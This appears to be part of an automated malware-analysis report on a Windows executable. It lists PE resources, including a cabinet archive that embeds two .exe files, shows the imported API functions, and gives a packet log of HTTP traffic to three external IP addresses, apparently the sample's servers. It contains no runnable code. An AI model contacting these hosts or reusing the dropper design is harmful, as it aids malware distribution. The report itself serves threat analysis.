RT_ICON	0x127f4	0xd9d2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.0004662673505254
RT_ICON	0x201c8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5300829875518672
RT_ICON	0x22770	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.6137429643527205
RT_ICON	0x23818	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.703688524590164
RT_ICON	0x241a0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.425531914893617
RT_DIALOG	0x24608	0x2f2	data	English	United States	0.4389920424403183
RT_DIALOG	0x248fc	0x1b0	data	English	United States	0.5625
RT_DIALOG	0x24aac	0x166	data	English	United States	0.5223463687150838
RT_DIALOG	0x24c14	0x1c0	data	English	United States	0.5446428571428571
RT_DIALOG	0x24dd4	0x130	data	English	United States	0.5526315789473685
RT_DIALOG	0x24f04	0x120	data	English	United States	0.5763888888888888
RT_STRING	0x25024	0x8c	Matlab v4 mat-file (little endian) l, numeric, rows 0, columns 0	English	United States	0.6214285714285714
RT_STRING	0x250b0	0x520	data	English	United States	0.4032012195121951
RT_STRING	0x255d0	0x5cc	data	English	United States	0.36455525606469
RT_STRING	0x25b9c	0x4b0	data	English	United States	0.385
RT_STRING	0x2604c	0x44a	data	English	United States	0.3970856102003643
RT_STRING	0x26498	0x3ce	data	English	United States	0.36858316221765913
RT_RCDATA	0x26868	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x26870	0xe6022	Microsoft Cabinet archive data, many, 942114 bytes, 2 files, at 0x2c +A "v0139395.exe" +A "e6072708.exe", ID 1687, number 1, 31 datablocks, 0x1503 compression	English	United States	1.0000318432801125
RT_RCDATA	0x10c894	0x4	data	English	United States	3.0
RT_RCDATA	0x10c898	0x24	data	English	United States	0.9722222222222222
RT_RCDATA	0x10c8bc	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x10c8c4	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x10c8cc	0x4	data	English	United States	3.0
RT_RCDATA	0x10c8d0	0xd	ASCII text, with no line terminators	English	United States	1.6153846153846154
RT_RCDATA	0x10c8e0	0x4	data	English	United States	3.0
RT_RCDATA	0x10c8e4	0xd	ASCII text, with no line terminators	English	United States	1.6153846153846154
RT_RCDATA	0x10c8f4	0x4	data	English	United States	3.0
RT_RCDATA	0x10c8f8	0x6	data	English	United States	2.3333333333333335
RT_RCDATA	0x10c900	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x10c908	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_GROUP_ICON	0x10c910	0xbc	data	English	United States	0.6117021276595744
RT_VERSION	0x10c9cc	0x408	data	English	United States	0.42441860465116277
RT_MANIFEST	0x10cdd4	0x7e2	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3761149653121903

Imports

DLL	Import
ADVAPI32.dll	GetTokenInformation, RegDeleteValueA, RegOpenKeyExA, RegQueryInfoKeyA, FreeSid, OpenProcessToken, RegSetValueExA, RegCreateKeyExA, LookupPrivilegeValueA, AllocateAndInitializeSid, RegQueryValueExA, EqualSid, RegCloseKey, AdjustTokenPrivileges
KERNEL32.dll	_lopen, _llseek, CompareStringA, GetLastError, GetFileAttributesA, GetSystemDirectoryA, LoadLibraryA, DeleteFileA, GlobalAlloc, GlobalFree, CloseHandle, WritePrivateProfileStringA, IsDBCSLeadByte, GetWindowsDirectoryA, SetFileAttributesA, GetProcAddress, GlobalLock, LocalFree, RemoveDirectoryA, FreeLibrary, _lclose, CreateDirectoryA, GetPrivateProfileIntA, GetPrivateProfileStringA, GlobalUnlock, ReadFile, SizeofResource, WriteFile, GetDriveTypeA, lstrcmpA, SetFileTime, SetFilePointer, FindResourceA, CreateMutexA, GetVolumeInformationA, ExpandEnvironmentStringsA, GetCurrentDirectoryA, FreeResource, GetVersion, SetCurrentDirectoryA, GetTempPathA, LocalFileTimeToFileTime, CreateFileA, SetEvent, TerminateThread, GetVersionExA, LockResource, GetSystemInfo, CreateThread, ResetEvent, LoadResource, ExitProcess, GetModuleHandleW, CreateProcessA, FormatMessageA, GetTempFileNameA, DosDateTimeToFileTime, CreateEventA, GetExitCodeProcess, FindNextFileA, LocalAlloc, GetShortPathNameA, MulDiv, GetDiskFreeSpaceA, EnumResourceLanguagesA, GetTickCount, GetSystemTimeAsFileTime, GetCurrentThreadId, GetCurrentProcessId, QueryPerformanceCounter, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, GetStartupInfoW, Sleep, FindClose, GetCurrentProcess, FindFirstFileA, WaitForSingleObject, GetModuleFileNameA, LoadLibraryExA
GDI32.dll	GetDeviceCaps
USER32.dll	SetWindowLongA, GetDlgItemTextA, DialogBoxIndirectParamA, ShowWindow, MsgWaitForMultipleObjects, SetWindowPos, GetDC, GetWindowRect, DispatchMessageA, GetDesktopWindow, CharUpperA, SetDlgItemTextA, ExitWindowsEx, MessageBeep, EndDialog, CharPrevA, LoadStringA, CharNextA, EnableWindow, ReleaseDC, SetForegroundWindow, PeekMessageA, GetDlgItem, SendMessageA, SendDlgItemMessageA, MessageBoxA, SetWindowTextA, GetWindowLongA, CallWindowProcA, GetSystemMetrics
msvcrt.dll	_controlfp, ?terminate@@YAXXZ, _acmdln, _initterm, __setusermatherr, _except_handler4_common, memcpy, _ismbblead, __p__fmode, _cexit, _exit, exit, __set_app_type, __getmainargs, _amsg_exit, __p__commode, _XcptFilter, memcpy_s, _vsnprintf, memset
COMCTL32.dll
Cabinet.dll
VERSION.dll	GetFileVersionInfoA, VerQueryValueA, GetFileVersionInfoSizeA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 23, 2023 17:52:21.829557896 CEST	49701	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:52:22.156513929 CEST	80	49701	5.42.92.211	192.168.2.4
Sep 23, 2023 17:52:22.156635046 CEST	49701	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:52:22.158756018 CEST	49701	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:52:22.485403061 CEST	80	49701	5.42.92.211	192.168.2.4
Sep 23, 2023 17:52:24.972928047 CEST	80	49701	5.42.92.211	192.168.2.4
Sep 23, 2023 17:52:24.972958088 CEST	80	49701	5.42.92.211	192.168.2.4
Sep 23, 2023 17:52:24.973031998 CEST	49701	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:52:24.973082066 CEST	49701	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:52:25.064141035 CEST	49701	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:52:57.064239979 CEST	49754	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:52:57.383012056 CEST	80	49754	77.91.68.29	192.168.2.4
Sep 23, 2023 17:52:57.383111954 CEST	49754	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:52:57.383501053 CEST	49754	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:52:57.383501053 CEST	49754	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:52:57.702285051 CEST	80	49754	77.91.68.29	192.168.2.4
Sep 23, 2023 17:52:57.702300072 CEST	80	49754	77.91.68.29	192.168.2.4
Sep 23, 2023 17:52:57.718241930 CEST	80	49754	77.91.68.29	192.168.2.4
Sep 23, 2023 17:52:57.721738100 CEST	49754	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:52:57.721738100 CEST	49754	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:52:58.040762901 CEST	80	49754	77.91.68.29	192.168.2.4
Sep 23, 2023 17:52:58.040802956 CEST	80	49754	77.91.68.29	192.168.2.4
Sep 23, 2023 17:52:58.047013044 CEST	80	49754	77.91.68.29	192.168.2.4
Sep 23, 2023 17:52:58.050965071 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:58.097816944 CEST	49754	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:52:58.372879028 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:58.372983932 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:58.373929024 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:58.696346045 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:58.696415901 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:58.696453094 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:58.696460009 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:58.696562052 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:58.696607113 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:58.696676016 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:58.696742058 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:58.696784019 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:58.696804047 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:58.696918011 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:58.696957111 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:58.696964979 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:58.697014093 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:58.697051048 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.018162966 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.018395901 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.018409014 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.018419981 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.018451929 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.018481016 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.018488884 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.018492937 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.018532991 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.018548965 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.018616915 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.018654108 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.018668890 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.018717051 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.018759966 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.018841028 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.018884897 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.018928051 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.019028902 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.019128084 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.019169092 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.019171000 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.019243956 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.019285917 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.019295931 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.019341946 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.019354105 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.019385099 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.019406080 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.019448042 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.340789080 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.340806007 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.340816975 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.340828896 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.340841055 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.340852976 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.340867043 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.340924978 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.340928078 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.340979099 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.341015100 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.341021061 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.341099024 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.341136932 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.341149092 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.341217041 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.341257095 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.341272116 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.341324091 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.341363907 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.341377974 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.341442108 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.341454029 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.341479063 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.341541052 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.341571093 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.341579914 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.341588020 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.341623068 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.341708899 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.341721058 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.341761112 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.341775894 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.341826916 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.341866970 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.341953039 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.341994047 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.342036963 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.342058897 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.342109919 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.342149973 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.342169046 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.342180014 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.342216015 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.342237949 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.342304945 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.342343092 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.342350006 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.342413902 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.342457056 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.342469931 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.342515945 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.342552900 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.342560053 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.342609882 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.342643976 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.342658997 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.342705011 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.342741966 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.662827015 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.662868023 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.662882090 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.662919044 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.662947893 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.662988901 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.663002968 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.663069963 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.663108110 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.663120985 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.663162947 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.663194895 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.663206100 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.663274050 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.663309097 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.663326025 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.663369894 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.663412094 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.663429022 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.663479090 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.663521051 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.663532972 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.663552046 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.663588047 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.663600922 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.663659096 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.663693905 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.663781881 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.663839102 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.663872957 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.663908005 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.663927078 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.663961887 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.663981915 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.664050102 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.664083958 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.664145947 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.664186954 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.664216995 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.664252043 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.664314032 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.664351940 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.664351940 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.664387941 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.664407969 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.664443970 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.664464951 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.664500952 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.664522886 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.664561987 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.664576054 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.664623976 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.664638042 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.664678097 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.664685965 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.664710999 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.664742947 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.664755106 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.664820910 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.664865971 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.664879084 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.664891005 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.664930105 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.664951086 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.665013075 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.665050030 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.665097952 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.665154934 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.665189028 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.665236950 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.665292978 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.665302992 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.665324926 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.665375948 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.665410042 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.665507078 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.665518999 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.665553093 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.665564060 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.707202911 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.984667063 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.984714985 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.984823942 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.984889984 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.984922886 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.984987974 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.984996080 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.985024929 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.985069036 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.985075951 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.985100031 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.985162020 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.985169888 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.985208035 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.985260010 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.985327005 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.985340118 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.985380888 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.985460043 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.985506058 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.985551119 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.985584021 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.985613108 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.985661983 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.985662937 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.985673904 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.985709906 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.985829115 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.985861063 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.985899925 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.986031055 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.986104965 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.986154079 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.986186981 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.986265898 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.986314058 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.986339092 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.986386061 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.986462116 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.986504078 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.986593962 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.986639023 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.986690998 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.986722946 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.986735106 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.986763000 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.986767054 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.986809015 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.986814022 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.986852884 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.986855984 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.986900091 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.986922979 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.986964941 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.986973047 CEST	80	49761	77.91.124.231	192.168.2.4
